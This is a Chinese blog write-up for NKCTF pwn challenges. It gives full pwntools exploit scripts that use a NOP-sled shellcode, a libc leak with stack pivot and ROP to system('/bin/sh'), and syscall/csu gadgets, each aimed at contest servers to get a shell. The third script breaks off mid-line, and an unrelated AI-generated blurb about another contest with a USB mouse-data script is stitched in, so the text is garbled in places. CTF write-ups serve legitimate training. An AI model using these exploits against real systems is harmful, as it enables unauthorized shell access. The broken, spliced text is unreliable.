NKCTF PWN wp

本文详细介绍了在CTF比赛中解决PWN类问题的经验,涉及ezshellcode、栈迁移、ROP利用、堆溢出和libc地址泄露等技术。通过案例分析,阐述了如何利用缓冲区溢出、格式化字符串漏洞、堆布局操纵等方法实现系统权限提升。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


ezshellcode

填充nop抵消随机滑行到shellcode

#!usr/bin/env python 
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
DEBUG = 1
if DEBUG:
    gdbOpen = 1
    clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    p = process('./pwn')
else:
    gdbOpen = 0
    ip = 'node.yuzhian.com.cn'
    port = 38867
    p = remote(ip, port)
    clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    
def debug(info="b main"):
    if gdbOpen == 1:
        gdb.attach(p, info)
        #gdb.attach(p, "b *$rebase(0x)")


debug("b *0x00000000004012F1")
shellcode = p8(0x90) * 104 + asm(shellcraft.sh()) 
p.sendafter("in 5 min!\n", shellcode)

p.interactive()

a_story_of_a_pwner

栈迁移然后刚好够弹一个参数执行system

#!usr/bin/env python 
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
DEBUG = 0
if DEBUG:
    gdbOpen = 1
    clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    libc = ELF("./libc.so.6")
    p = process('./pwn')
else:
    gdbOpen = 0
    ip = 'node2.yuzhian.com.cn'
    port = 33627 
    libc = ELF("./libc.so.6")
    p = remote(ip, port)
    clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    
def debug(info="b main"):
    if gdbOpen == 1:
        gdb.attach(p, info)
        #gdb.attach(p, "b *$rebase(0x)")


def choose(choice):
    p.sendlineafter(b"> \n", str(choice).encode('ascii'))

pop_rdi = 0x0000000000401573
leave_ret = 0x000000000040139E
debug("b *0x000000000040139F")
choose(4)
p.recvuntil(b'0x')
leak = int(p.recv(12), 16) - 0x84420
log.info("libc_base==>0x%x" %leak)
sys = leak + libc.sym['system']
binsh = leak + next(libc.search(b'/bin/sh'))
choose(1)
p.sendafter(b'comment?\n', p64(binsh))
choose(2)
p.sendafter(b'corment?\n', p64(pop_rdi))
choose(3)
p.sendafter(b'corMenT?\n', p64(sys))
choose(4)
payload = b'a'*0xa + p64(0x0000000000405098) + p64(leave_ret)
p.sendafter(b'heart...\n', payload)

p.interactive()

ez_stack

程序内直接就能找到syscall的gadget,使用其即可,注意的地方就是csu调用的时候是个指针,所以要把这个地址写入bss上才能正常使用

#!usr/bin/env python 
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./ez_stack')
DEBUG = 0
if DEBUG:
    gdbOpen = 1
    libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
    ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so")
    p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
    clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    #p = process('./ez_stack')
else:
    gdbOpen = 0
    ip = 'node2.yuzhian.com.cn'
    port = 35211 
    p = remote(ip, port)
    clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    
def debug(info="b main"):
    if gdbOpen == 1:
        gdb.attach(p, info)
        #gdb.attach(p, "b *$rebase(0x)")

pop_rdi = 0x0000000000401283
pop_rsi = 0x0000000000401281 # pop rsi ; pop r15 ; ret
syscall = 0x000000000040114e
csu1 = 0x000000000040127A
csu2 = 0x0000000000401260

debug("b *0x00000000004011F6")
payload 
### 关于羊城杯2024 PWN比赛Writeup 针对2024年“羊城杯”粤港澳大湾区网络安全大赛PWN部分的比赛写真,可以参考Ns100kUp发布的详细分析[^1]。该文档不仅涵盖了比赛的整体情况,还特别提到了一些关键技术细节。 #### xpstack技术解析 在比赛中提到的一个重要概念是`xpstack`,这是一种用于处理特定漏洞利用的技术框架。通过这种技术,选手能够更高效地构建攻击载荷并绕过某些防护机制。 #### hardsandbox挑战分析 对于hardsandbox这一题目,存在一个问题即使用`openat2`函数仅能在本地环境中成功执行而无法应用于远程场景[^2]。这主要是因为`openat2`涉及到的操作权限以及网络环境下的文件描述符传递问题,在实际应用中需要额外考虑这些因素的影响。 以下是将USB数据转换成坐标的Python脚本示例,此代码片段来源于往届比赛中的一个实例[^3]: ```python nums = [] with open('usbdata.txt', 'r') as keys, open('xy.txt', 'w') as f: posx = 0 posy = 0 for line in keys: if len(line.strip()) != 12: continue x = int(line[3:5], 16) y = int(line[6:8], 16) if x > 127: x -= 256 if y > 127: y -= 256 posx += x posy += y btn_flag = int(line[0:2], 16) # 解析按钮标志位 if btn_flag != 0: # 如果检测到鼠标按键被按下,则记录当前位置 f.write(f"{posx} {posy}\n") ``` 此外,还有一个名为`Re BBBButton`的flag字符串提供了进一步的研究方向[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ShouCheng3

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值